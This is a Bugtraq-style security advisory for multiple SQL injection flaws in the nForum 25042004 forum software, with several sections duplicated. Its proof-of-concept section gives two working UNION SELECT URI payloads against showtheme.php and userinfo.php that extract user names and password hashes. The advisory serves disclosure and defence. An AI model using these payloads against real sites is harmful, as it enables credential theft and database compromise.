nForum Multiple SQL Injection Vulnerabilities
BID:34030
Info
nForum Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 34030 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 06 2009 12:00AM |
| Updated: | Mar 06 2009 11:16PM |
| Credit: | Salvatore "drosophila" Fresta |
| Vulnerable: |
nforum nforum 25042004 |
| Not Vulnerable: | |
Discussion
nForum Multiple SQL Injection Vulnerabilities
nForum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
nForum 25042004 is vulnerable; other versions may also be affected.
nForum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
nForum 25042004 is vulnerable; other versions may also be affected.
Exploit / POC
nForum Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/path/showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23
http://www.example.com/path/userinfo.php?user=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/path/showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23
http://www.example.com/path/userinfo.php?user=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23
Solution / Fix
nForum Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
nForum Multiple SQL Injection Vulnerabilities
References:
References:
- nforum Homepage (nforum)
- nForum 1.5 Multiple SQL Injection ("Salvatore \"drosophila\" Fresta"